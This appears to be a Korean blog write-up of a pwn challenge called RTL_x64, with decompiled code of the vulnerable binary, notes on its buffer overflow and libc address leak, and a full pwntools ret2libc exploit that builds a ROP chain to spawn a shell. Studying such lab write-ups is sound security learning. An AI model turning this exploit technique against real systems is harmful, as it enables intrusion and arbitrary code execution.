int read_input()
{
int buf; // [rsp+0h] [rbp-10h]
buf = 0;
read(0, &buf, 8uLL);
return atoi((const char *)&buf);
}
int menu()
{
puts("1. vuln");
puts("2. print");
puts("3. quit");
return printf("> ");
}
int useful_function()
{
void *v0; // ST08_8
v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "printf");
return printf("printf() addr: %p\n", v0);
}
int Init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-40h]
int v5; // [rsp+3Ch] [rbp-4h]
v5 = 0;
memset(&buf, 0, 0x30uLL);
Init();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v5 = read_input();
if ( v5 != 1 )
break;
printf("input: ", argv);
argv = (const char **)&buf;
read(0, &buf, 0x60uLL);
}
if ( v5 != 2 )
break;
useful_function();
}
if ( v5 == 3 )
break;
puts("Invalid choice");
}
return 0;
}
while 문으로 반복적으로 메뉴 선택을 입력받고 있다.
메뉴1: 입력. overflow 취약점 발생
메뉴 2: dlsym 함수를 이용한 printf 실행 시 주소 출력. libc leak 가능해서 원하는 함수의 실행 시 주소를 구할 수 있다.
메뉴 3: 종료
메뉴2(libc leak) -> 메뉴1(구한 주소로 payload 전달) -> 메뉴3(while문 종료 후 리턴)
메뉴2: libc leak으로 필요한 함수의 실행 시 주소를 구한다. pwntools의 libc.symbols 사용
메뉴1: rp++에서 pop rdi ; ret 가젯 찾아서 system 함수의 '/bin/sh' 인자를 넣고, system 함수 호출한다.
메뉴3: while 문을 종료해야 return address에 적힌 주소로 리턴하면서 쉘을 실행시킬 수 있다.
one gadget 사용 시 return address에 one gadget 주소 넣기.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./RTL_x64")
elf = ELF("./RTL_x64")
p1ret = 0x400a13
libc = elf.libc
p.sendafter("> ", '2')
p.recvuntil(": ")
printf = int(p.recv(14), 16)
log.info("printf : "+hex(printf))
libcBase = printf - libc.symbols['printf']
log.info("libcBase : "+hex(libcBase))
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search('/bin/sh'))[0]
one_gadget = libcBase + 0xf1147
p.sendafter("> ", '1')
p.send('A'*(0x40+0x8) + p64(p1ret) + p64(binsh) + p64(system))
#p.sendafter("input: ", 'A'*(0x40+0x8) + p64(one_gadget))
p.sendlineafter("> ", '3')
p.interactive()
[picoCTF 2014] rop1 (0) | 2020.05.31 |
---|---|
[TAMU 2019] pwn5 (0) | 2020.05.31 |
[HITCON-Training] lab6: migration (2019.09.09, Fake EBP + ROP) (0) | 2020.05.27 |
[HITCON-Training] lab9 playfmt (Double Staged FSB) (1) | 2020.05.04 |
[ROP Emporium] pivot (0) | 2020.04.20 |